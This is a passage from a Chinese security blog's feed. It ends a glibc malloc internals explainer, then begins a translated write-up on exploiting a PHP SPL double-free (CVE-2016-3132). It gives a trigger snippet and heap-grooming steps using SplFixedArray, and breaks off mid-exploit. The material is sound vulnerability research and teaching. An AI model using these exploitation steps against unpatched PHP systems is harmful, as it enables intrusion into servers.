&lt;li&gt;malloc会首先利用请求的大小估算一个合适的large bin，并检查该large bin中最大的块是否能够满足需求（&lt;code&gt;malloc&#x2F;malloc.c:4376&lt;&#x2F;code&gt;）。如果能的话，就对该item从后到前遍历，直到找到一个合适的chunk，既能满足需求，又不会造成严重的浪费。找到后，这个块会被分为两部分，一部分返回给用户，而另一部分（就是&lt;strong&gt;remainder chunk&lt;&#x2F;strong&gt;）则会送入Unsorted bin中；&lt;&#x2F;li&gt;
&lt;li&gt;如binlist中最大的chunk也不能满足需要，那么就会利用一个位图，对所有的bin进行搜索(&lt;code&gt;malloc&#x2F;malloc.c:4432&lt;&#x2F;code&gt;)，找到合适的chunk后，按照上面的方法分为两部分(&lt;code&gt;malloc&#x2F;malloc.c:4498&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;如果搜索后也没有任何chunk能满足需求，则会使用top chunk（还记得上面我们说过的吗）来分配内存(&lt;code&gt;malloc&#x2F;malloc.c:4530&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;如果连top chunk也不够分，那么就扩展top chunk(&lt;code&gt;malloc&#x2F;malloc.c:4580&lt;&#x2F;code&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;如果top chunk扩展之后也不行的话，恭喜你，malloc会返回0，你是万物之王了（误。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在free一个large chunk的时候，与free(small chunk)基本一致，就不再赘述了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;unsorted-bin&quot;&gt;Unsorted bin&lt;&#x2F;h4&gt;
&lt;p&gt;刚才我们多次提到unsorted bin，但把它放到最后来讲，是因为unsorted bin实际很好理解。它是作为一个“缓存”存在的，只占有一个bin，而且里面也只是一个简单的双链表，没有chunk大小限制，也没有其他复杂的结构。其存在意义在于，所有free出的块，如果不属于fast bin，就必须先在unsorted bin中，至少经历一轮malloc，才会视情况分到small bin或者large bin中。&lt;&#x2F;p&gt;
&lt;p&gt;各个bin之间的结构，依然用来自sploitfun的一张图说明：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;other_bin_snapshot.png&quot; alt=&quot;Unsorted, Large and Small bin snapshot&quot; title=&quot;Other bins&amp;#39; snapshot. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiao-jie&quot;&gt;小结&lt;&#x2F;h3&gt;
&lt;p&gt;至此，我用了约20kb的文字，简要的描述了：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;线程如何从OS获取内存&lt;&#x2F;li&gt;
&lt;li&gt;调用malloc及free时，如何分配内存&lt;&#x2F;li&gt;
&lt;li&gt;内存分配中涉及到的几种主要数据结构&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对堆内存管理机制的介绍就是这些了，比较简单，也可能有很多错误（请不要大意的在评论里写出来），希望能帮助到大家。此外，如果你希望了解更多细节，建议阅读libc源码中malloc文件夹下的malloc.c、arena.c以及tst-malloc.c等相关文件，并阅读与brk和mmap系统调用有关的网页。&lt;&#x2F;p&gt;
&lt;p&gt;最后，仍然用几张图收尾。首先是sploitfun的两张图，这两张图分别展示了，不同情况下，进程内部的内存映射图。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;single_heap_snapshot.png&quot; alt=&quot;Single heap VMMap snapshot&quot; title=&quot;Notice, there is only one heap. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;multi_heap_snapshot.png&quot; alt=&quot;Multi heap VMMap snapshot&quot; title=&quot;When another heap created, things are different. From http:&#x2F;&#x2F;sploitfun.wordpress.com&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接着是我自己做的两张malloc和free的流程图，建议打开大图查看。（还有点小问题，过段时间一起修）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;malloc_routine.png&quot; alt=&quot;malloc routine&quot; title=&quot;How malloc worked. Just a simple routine.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;linux-heapoverflow-enterance&#x2F;.&#x2F;free_routine.png&quot; alt=&quot;free routine&quot; title=&quot;How free worked. Just a simple routine.&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;!--
## Pwn!

### 简介

上面我们主要讨论了几种堆内存的管理方式。他们共同的特点是，管理chunk的数据结构总有一部分在对应chunk的边缘。因此，产生了多种方式，可以通过构造特定结构的数据，将arena中部分数据结构覆盖，从而获取对指定内存区域的控制权。我们将这种漏洞统称为**堆溢出漏洞**。目前，堆溢出漏洞的主要利用方式是通过伪造下一块chunk头部的堆块管理数据结构，逐步完成攻击过程。

### 入门小怪：Unlink

Unlink
Double-Free
UAF--&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;sploitfun.wordpress.com&#x2F;2015&#x2F;02&#x2F;10&#x2F;understanding-glibc-malloc&#x2F;&quot;&gt;Understanding glibc malloc, by sploitfun&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;libc&#x2F;&quot;&gt;Libc 源码&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;google.com&quot;&gt;Google&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;&#x2F;sup&gt;
&lt;p&gt;本段主要取材于sploitfun所作的&lt;span lang=&quot;en&quot;&gt;&lt;em&gt;Understanding glibc malloc&lt;&#x2F;em&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;2&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;2&lt;&#x2F;sup&gt;
&lt;p&gt;临界区是指一个访问共用资源的程序片段。临界区内的资源保证被调用者独享，其他访问者则只能阻塞。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;3&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;3&lt;&#x2F;sup&gt;
&lt;p&gt;刚才我们说每个线程有自己“独立”的堆结构，严格意义上是不对的。为了确保资源不被浪费，每个进程的arena数量是有限制的。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;4&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;4&lt;&#x2F;sup&gt;
&lt;p&gt;这里只是简单提一下，一会会详细说明。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;5&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;5&lt;&#x2F;sup&gt;
&lt;p&gt;arena（&#x2F;əˈrinə&#x2F;）有多种译文。这里为了方便，不给出翻译，请自行理解。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;6&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;6&lt;&#x2F;sup&gt;
&lt;p&gt;注意，主线程不遵循这一规律。当主线程的堆耗尽时，管理器会继续用&lt;code&gt;brk&lt;&#x2F;code&gt;分配内存，直到无法继续分配为止。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;7&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;7&lt;&#x2F;sup&gt;
&lt;p&gt;注意，主线程的malloc_state存放于libc.so的内存区域中，因为其是一个全局变量。此外，主线程也没有heap_info，因为主线程只有一个堆，不需要多个堆块。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;8&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;8&lt;&#x2F;sup&gt;
&lt;p&gt;也可以说，malloc返回的地址不是分配得到内存的真正起始地址。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;9&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;9&lt;&#x2F;sup&gt;
&lt;p&gt;如果你懒得听我说的话，大可以去看&lt;code&gt;malloc&#x2F;malloc.c:2026&lt;&#x2F;code&gt;开始的代码注释。我只是简单地整理了一下。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;10&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;10&lt;&#x2F;sup&gt;
&lt;p&gt;最大大小仍然是80字节，但默认只开启到64字节。见&lt;code&gt;malloc&#x2F;malloc.c:1311&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;11&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;11&lt;&#x2F;sup&gt;
&lt;p&gt;如果是空的，那么其会指向自身。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;12&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;12&lt;&#x2F;sup&gt;
&lt;p&gt;这里指的是small bin或large bin。fastbin有自己的分配机制，与unsored bin无关。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;13&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;13&lt;&#x2F;sup&gt;
&lt;p&gt;意思就是我要挖坑了。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
</content>
        
    </entry>
    <entry xml:lang="zh-Hans-cn">
        <title>技术文章翻译：PHP标准库中某双链表结构存在双重释放问题（CVE-2016-3132）</title>
        <published>2016-05-12T00:00:00+00:00</published>
        <updated>2016-05-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.iret.xyz/posts/translate-cve20163132-doublefree/"/>
        <id>https://blog.iret.xyz/posts/translate-cve20163132-doublefree/</id>
        
        <content type="html" xml:base="https://blog.iret.xyz/posts/translate-cve20163132-doublefree/">&lt;blockquote&gt;
&lt;p&gt;原文： &lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;www.libnex.org&#x2F;blog&#x2F;doublefreeinstandardphplibrarydoublelinklist&quot;&gt;http:&#x2F;&#x2F;www.libnex.org&#x2F;blog&#x2F;doublefreeinstandardphplibrarydoublelinklist&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;原作者：Emmanuel Law&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;yin-zi&quot;&gt;引子&lt;&#x2F;h2&gt;
&lt;p&gt;最近在PHP标准库中（Standard PHP Library, SPL)发现了一个双重释放漏洞。在写exp的时候，找了找PHP内部对堆的管理方式，但是没找到太多。这篇博客旨在和大家分析一些如何在PHP下利用Double free的人生经验。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yuan-fen-xi&quot;&gt;根源分析&lt;&#x2F;h2&gt;
&lt;p&gt;问题函数是&lt;code&gt;SplDoublyLinkedList::offsetSet ( mixed $index , mixed $newval )&lt;&#x2F;code&gt;，当传递一个无效的参数时，即可触发漏洞。例如：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplStack&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;offsetSet&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; DateTime&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;2000-01-01&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F;DateTime 会被释放两次&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;来看一下细节。当一个无效的下标传入的时候，在第833行，DateTiem对象被第一次释放：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 832&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span&gt; (index &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; ||&lt;&#x2F;span&gt;&lt;span&gt; index &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;gt;=&lt;&#x2F;span&gt;&lt;span&gt; intern&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;llist&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;count) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 833&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;         zval_ptr_dtor&lt;&#x2F;span&gt;&lt;span&gt;(value)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 834&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;         zend_throw_exception&lt;&#x2F;span&gt;&lt;span&gt;(spl_ce_OutOfRangeException&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Offset invalid or out of range&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 835&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;         return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 836&lt;&#x2F;span&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外一个释放点在&lt;code&gt;Zend&#x2F;zend_vm_execute.h:855&lt;&#x2F;code&gt;，在清理调用栈时，有：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;EG&lt;&#x2F;span&gt;&lt;span&gt;(current_execute_data)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; call&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt;prev_execute_data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;zend_vm_stack_free_args&lt;&#x2F;span&gt;&lt;span&gt;(call)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;phpnei-bu-de-dui-guan-li&quot;&gt;PHP内部的堆管理&lt;&#x2F;h2&gt;
&lt;p&gt;在PHP内部，当调用像&lt;code&gt;ealloc()&lt;&#x2F;code&gt;的函数分配内存的时候，根据请求大小的不同，分为三类：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;小于3072字节的小堆块分配（Small heap alloction)&lt;&#x2F;li&gt;
&lt;li&gt;小于2MiB的大堆块分配（Large heap alloction)&lt;&#x2F;li&gt;
&lt;li&gt;大于2MiB的巨堆块分配（Huge heap alloction)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;为了利用这个洞，需要看一下小堆块的分配和释放流程。小堆块的分配流程，会把每个内存块根据其大小分入不同的桶（Bin)中，如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;1#桶，包含1~8byte的块&lt;&#x2F;li&gt;
&lt;li&gt;2#桶，包含9~16byte的块&lt;&#x2F;li&gt;
&lt;li&gt;3#桶，包含17~24byte的块&lt;&#x2F;li&gt;
&lt;li&gt;以此类推&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而PHP内部用&lt;code&gt;efree()&lt;&#x2F;code&gt;之类的函数释放内存的时候，如果内存块被小堆块分配器处理的话，内存不会被返回给系统，而是被缓存下来，并放在合适的Bin中。这个Bin是个单链表，把该Bin中的所有块连在一起。每个块的前几个字节是该块的头部，含有指向下一个块的指针。如图所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;FreeList.png&quot; alt=&quot;Bin Linklist&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（译者注：为什么这么像ptmalloc的fastalloc啊，到底是做了多少次了啊）&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ju-ti-de-li-yong-fang-fa&quot;&gt;具体的利用方法&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Step 0: 先看看这个对象看看能不能打。这个洞是因为，引擎试图把一个对象插入到一个无效的SplDoublyLinkedList下标中。一般会引发这样的错误：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Fatal error: Uncaught OutOfRangeException: Offset invalid or out of range&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;（致命错误：未捕获的溢出异常：偏移值无效或超限）&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;发生了这种错误后，PHP会立刻退出，这样，在Double Free后，我们无法在用户空间运行任何程序了。因此，为了调这个漏洞，我们需要卡住这个错误，然后让PHP在双重释放后不立刻退出。用&lt;code&gt;set_exception_handler()&lt;&#x2F;code&gt;就可以搞定。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Step 1: 选择一个合适的对象进行溢出。我选择了&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;，因为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;大小合适，不会走入其他的内存管理流程中。&lt;&#x2F;li&gt;
&lt;li&gt;大小不怎么常见，因此不会被影响太多。本例中，&lt;code&gt;sizeof(SplFixedArray)==0x78&lt;&#x2F;code&gt;，会被放入12号筐中。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;内部是一个结构体，在特定位置有一个成员，可以被利用。下面我会对此进行详细说明。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Step 2: 我们要先“调教”一下堆。先做一些清理操作，释放Bin里所有会影响我们的块。我们可以通过分配一堆实例的方法来搞，这样也能让我们得到的内存地址比较接近：&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; ($x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt;$x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;){&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$z[$x]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;unset&lt;&#x2F;span&gt;&lt;span&gt;($z[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;50&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们分配然后释放了第50个&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;。这样，在这片内存里就制造了一个空洞，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;ContiguousMem.png&quot; alt=&quot;Big hole&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后立刻实例化一个&lt;code&gt;SplFixedArray&lt;&#x2F;code&gt;，这个对象正好会被放到那个空洞里。然后触发：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;php&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;php&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplStack&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$var_1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;offsetSet&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; SplFixedArray&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些操作都是为了我能拿到一个可控的内存结构，并保证双重释放也发生在这个地方。在第一个free之后，内存布局如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;FirstFree.png&quot; alt=&quot;After first free&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;第二次free后，如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;translate-cve20163132-doublefree&#x2F;.&#x2F;2ndFree.png&quot; alt=&quot;After second free&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
